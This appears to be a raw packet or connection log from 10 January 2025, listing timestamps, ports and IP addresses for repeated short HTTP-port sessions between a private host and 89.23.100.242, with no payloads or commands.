Jan 10, 2025 07:58:25.264178991 CET	80	49955	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:25.313986063 CET	49955	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:25.390616894 CET	49955	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:25.390763044 CET	49960	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:25.396301031 CET	80	49960	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:25.396378040 CET	49960	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:25.396456957 CET	80	49955	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:25.396512032 CET	49955	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:25.396646976 CET	49960	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:25.402106047 CET	80	49960	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:25.787328959 CET	49960	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:25.792172909 CET	80	49960	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:25.792188883 CET	80	49960	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:25.792196989 CET	80	49960	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:26.134363890 CET	80	49960	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:26.204737902 CET	49960	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:26.285588980 CET	80	49960	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:26.405172110 CET	49960	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:26.405412912 CET	49966	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:26.411087990 CET	80	49966	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:26.411148071 CET	49966	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:26.411263943 CET	49966	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:26.411309004 CET	80	49960	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:26.411359072 CET	49960	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:26.417212009 CET	80	49966	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:26.458033085 CET	49967	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:26.462884903 CET	80	49967	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:26.462949991 CET	49967	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:26.463062048 CET	49967	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:26.467875957 CET	80	49967	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:26.767345905 CET	49966	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:26.772207975 CET	80	49966	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:26.772218943 CET	80	49966	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:26.772227049 CET	80	49966	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:26.814057112 CET	49967	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:26.818938017 CET	80	49967	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:26.819041967 CET	80	49967	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:27.151107073 CET	80	49966	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:27.200588942 CET	80	49967	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:27.204634905 CET	49966	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:27.251501083 CET	49967	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:27.280587912 CET	80	49966	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:27.282202959 CET	49967	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:27.287285089 CET	80	49967	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:27.287349939 CET	49967	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:27.412123919 CET	49966	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:27.412839890 CET	49973	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:27.417182922 CET	80	49966	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:27.417231083 CET	49966	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:27.417628050 CET	80	49973	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:27.417687893 CET	49973	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:27.417792082 CET	49973	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:27.422590971 CET	80	49973	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:27.767205000 CET	49973	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:27.772161007 CET	80	49973	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:27.772171974 CET	80	49973	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:27.772181034 CET	80	49973	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:28.164181948 CET	80	49973	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:28.204762936 CET	49973	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:28.294439077 CET	80	49973	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:28.345216990 CET	49973	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:28.425707102 CET	49979	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:28.432965994 CET	80	49979	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:28.433038950 CET	49979	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:28.433119059 CET	49979	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:28.437993050 CET	80	49979	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:28.782846928 CET	49979	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:28.787863970 CET	80	49979	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:28.787879944 CET	80	49979	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:28.787897110 CET	80	49979	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:29.187602043 CET	80	49979	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:29.235853910 CET	49979	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:29.339036942 CET	80	49979	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:29.392218113 CET	49979	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:29.466267109 CET	49979	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:29.466479063 CET	49990	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:29.471359968 CET	80	49990	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:29.471421957 CET	49990	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:29.471457005 CET	80	49979	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:29.471498013 CET	49979	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:29.471561909 CET	49990	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:29.477256060 CET	80	49990	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:29.829740047 CET	49990	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:29.834923983 CET	80	49990	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:29.834938049 CET	80	49990	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:29.834945917 CET	80	49990	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:30.209095001 CET	80	49990	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:30.314022064 CET	49990	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:30.336771011 CET	80	49990	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:30.448101997 CET	49973	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:30.452274084 CET	49990	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:30.452543974 CET	49996	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:30.457428932 CET	80	49990	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:30.457442999 CET	80	49996	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:30.457515955 CET	49990	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:30.457520008 CET	49996	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:30.457621098 CET	49996	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:30.462378025 CET	80	49996	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:30.814064026 CET	49996	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:30.818975925 CET	80	49996	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:30.818984985 CET	80	49996	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:30.818991899 CET	80	49996	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:31.195014954 CET	80	49996	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:31.235877037 CET	49996	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:31.345979929 CET	80	49996	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:31.392105103 CET	49996	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:31.472979069 CET	50002	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:31.477929115 CET	80	50002	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:31.477999926 CET	50002	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:31.478198051 CET	50002	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:31.483083010 CET	80	50002	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:31.829890966 CET	50002	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:31.834872007 CET	80	50002	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:31.834882975 CET	80	50002	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:31.834942102 CET	80	50002	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:32.208966017 CET	80	50002	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:32.302511930 CET	50002	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:32.304784060 CET	50008	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:32.307760954 CET	80	50002	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:32.307832956 CET	50002	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:32.309693098 CET	80	50008	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:32.309827089 CET	50008	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:32.310082912 CET	50008	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:32.315107107 CET	80	50008	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:32.448961973 CET	50009	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:32.453891039 CET	80	50009	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:32.453965902 CET	50009	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:32.454057932 CET	50009	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:32.458947897 CET	80	50009	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:32.723364115 CET	50008	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:32.729511976 CET	80	50008	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:32.730524063 CET	80	50008	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:32.798728943 CET	50009	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:32.803659916 CET	80	50009	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:32.803674936 CET	80	50009	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:32.803725004 CET	80	50009	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:33.081465006 CET	80	50008	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:33.126665115 CET	50008	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:33.210731983 CET	80	50008	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:33.235840082 CET	80	50009	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:33.251483917 CET	50008	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:33.314009905 CET	50009	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:33.369803905 CET	80	50009	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:33.504899025 CET	50009	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:33.505768061 CET	49996	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:33.508651018 CET	50008	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:33.508723021 CET	50009	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:33.508929014 CET	50017	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:33.513703108 CET	80	50008	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:33.513755083 CET	50008	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:33.513923883 CET	80	50017	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:33.513933897 CET	80	50009	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:33.513976097 CET	50017	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:33.514003038 CET	50009	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:33.514111042 CET	50017	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:33.518902063 CET	80	50017	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:33.860999107 CET	50017	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:33.866027117 CET	80	50017	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:33.866040945 CET	80	50017	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:33.866050005 CET	80	50017	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:34.276427984 CET	80	50017	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:34.329627037 CET	50017	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:34.426084042 CET	80	50017	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:34.427423954 CET	50017	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:34.432492971 CET	80	50017	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:34.432548046 CET	50017	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:34.550693035 CET	50023	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:34.555615902 CET	80	50023	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:34.555691004 CET	50023	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:34.555908918 CET	50023	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:34.560740948 CET	80	50023	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:34.907839060 CET	50023	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:34.912807941 CET	80	50023	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:34.912823915 CET	80	50023	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:34.912836075 CET	80	50023	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:35.311350107 CET	80	50023	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:35.360871077 CET	50023	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:35.463435888 CET	80	50023	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:35.517148972 CET	50023	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:35.941978931 CET	50023	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:35.944987059 CET	50028	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:35.947072029 CET	80	50023	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:35.947720051 CET	50023	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:35.949855089 CET	80	50028	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:35.949933052 CET	50028	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:35.950889111 CET	50028	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:35.955703020 CET	80	50028	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:36.298559904 CET	50028	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:36.303723097 CET	80	50028	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:36.303741932 CET	80	50028	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:36.303752899 CET	80	50028	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:36.692507982 CET	80	50028	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:36.735898972 CET	50028	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:36.810141087 CET	50028	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:36.815237999 CET	80	50028	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:36.815326929 CET	50028	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:36.818598032 CET	50039	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:36.823426008 CET	80	50039	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:36.823513031 CET	50039	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:36.823646069 CET	50039	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:36.828414917 CET	80	50039	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:37.173472881 CET	50039	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:37.178489923 CET	80	50039	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:37.178505898 CET	80	50039	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:37.178518057 CET	80	50039	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:37.561105013 CET	80	50039	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:37.610972881 CET	50039	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:37.713267088 CET	80	50039	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:37.814028978 CET	50039	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:37.851094961 CET	50039	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:37.852345943 CET	50045	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:37.856441975 CET	80	50039	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:37.856511116 CET	50039	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:37.857218027 CET	80	50045	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:37.857287884 CET	50045	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:37.857400894 CET	50045	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:37.862241983 CET	80	50045	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:38.204751968 CET	50045	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:38.209651947 CET	80	50045	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:38.209883928 CET	80	50045	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:38.209913015 CET	80	50045	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:38.221052885 CET	50046	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:38.221282005 CET	50045	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:38.225922108 CET	80	50046	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:38.226001978 CET	50046	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:38.269961119 CET	80	50045	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:38.270625114 CET	50046	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:38.275547028 CET	80	50046	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:38.368782997 CET	80	50045	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:38.371337891 CET	50045	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:38.628175020 CET	50046	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:38.633833885 CET	80	50046	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:38.634347916 CET	80	50046	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:38.842470884 CET	50050	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:38.847425938 CET	80	50050	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:38.847711086 CET	50050	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:38.880065918 CET	50050	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:38.885044098 CET	80	50050	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:39.107450008 CET	80	50046	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:39.157763958 CET	50046	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:39.236124992 CET	50050	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:39.236702919 CET	80	50046	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:39.240957022 CET	80	50050	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:39.240972996 CET	80	50050	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:39.241012096 CET	80	50050	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:39.282859087 CET	50046	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:39.586740017 CET	80	50050	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:39.704631090 CET	50050	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:39.720976114 CET	80	50050	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:39.814109087 CET	50050	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:39.842185974 CET	50050	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:39.842253923 CET	50046	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:39.842590094 CET	50058	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:39.848709106 CET	80	50058	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:39.848793983 CET	50058	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:39.848824024 CET	80	50050	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:39.848864079 CET	50050	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:39.848947048 CET	50058	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:39.849041939 CET	80	50046	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:39.849097967 CET	50046	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:39.855070114 CET	80	50058	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:40.205039978 CET	50058	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:40.212426901 CET	80	50058	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:40.212438107 CET	80	50058	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:40.212445974 CET	80	50058	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:40.664228916 CET	80	50058	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:40.798530102 CET	80	50058	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:40.798698902 CET	50058	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:40.973577976 CET	50058	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:40.973829985 CET	50064	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:40.979409933 CET	80	50058	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:40.979672909 CET	80	50064	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:40.979759932 CET	50058	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:40.979784966 CET	50064	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:40.979882956 CET	50064	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:40.985909939 CET	80	50064	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:41.333189964 CET	50064	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:41.339494944 CET	80	50064	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:41.339534998 CET	80	50064	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:41.339561939 CET	80	50064	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:41.724344969 CET	80	50064	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:41.813990116 CET	50064	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:41.962632895 CET	80	50064	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:41.962658882 CET	80	50064	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:41.962693930 CET	50064	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:42.077984095 CET	50070	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:42.082873106 CET	80	50070	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:42.082937002 CET	50070	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:42.083045959 CET	50070	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:42.087929010 CET	80	50070	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:42.439197063 CET	50070	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:42.444222927 CET	80	50070	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:42.444241047 CET	80	50070	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:42.444263935 CET	80	50070	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:42.826157093 CET	80	50070	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:42.977946997 CET	80	50070	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:42.978024006 CET	50070	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:43.098156929 CET	50070	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:43.100377083 CET	50077	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:43.103194952 CET	80	50070	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:43.103347063 CET	50070	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:43.105290890 CET	80	50077	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:43.105361938 CET	50077	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:43.105462074 CET	50077	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:43.110336065 CET	80	50077	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:43.454941034 CET	50077	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:43.459930897 CET	80	50077	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:43.460033894 CET	80	50077	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:43.460062981 CET	80	50077	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:43.857805967 CET	80	50077	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:43.984622955 CET	80	50077	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:43.987204075 CET	50077	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:44.107836962 CET	50077	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:44.108071089 CET	50064	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:44.108342886 CET	50087	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:44.113215923 CET	80	50077	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:44.113285065 CET	80	50087	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:44.113297939 CET	50077	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:44.113348007 CET	50087	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:44.113409042 CET	50087	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:44.118318081 CET	80	50087	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:44.252477884 CET	50088	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:44.252480030 CET	50087	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:44.258666992 CET	80	50088	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:44.258744955 CET	50088	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:44.258855104 CET	50088	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:44.264880896 CET	80	50088	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:44.301173925 CET	80	50087	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:44.374876022 CET	50089	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:44.379806042 CET	80	50089	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:44.379894018 CET	50089	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:44.380027056 CET	50089	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:44.384882927 CET	80	50089	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:44.610959053 CET	50088	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:44.617481947 CET	80	50088	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:44.617618084 CET	80	50088	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:44.649086952 CET	80	50087	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:44.649162054 CET	50087	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:44.735991001 CET	50089	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:44.741019964 CET	80	50089	89.23.100.242	192.168.2.4
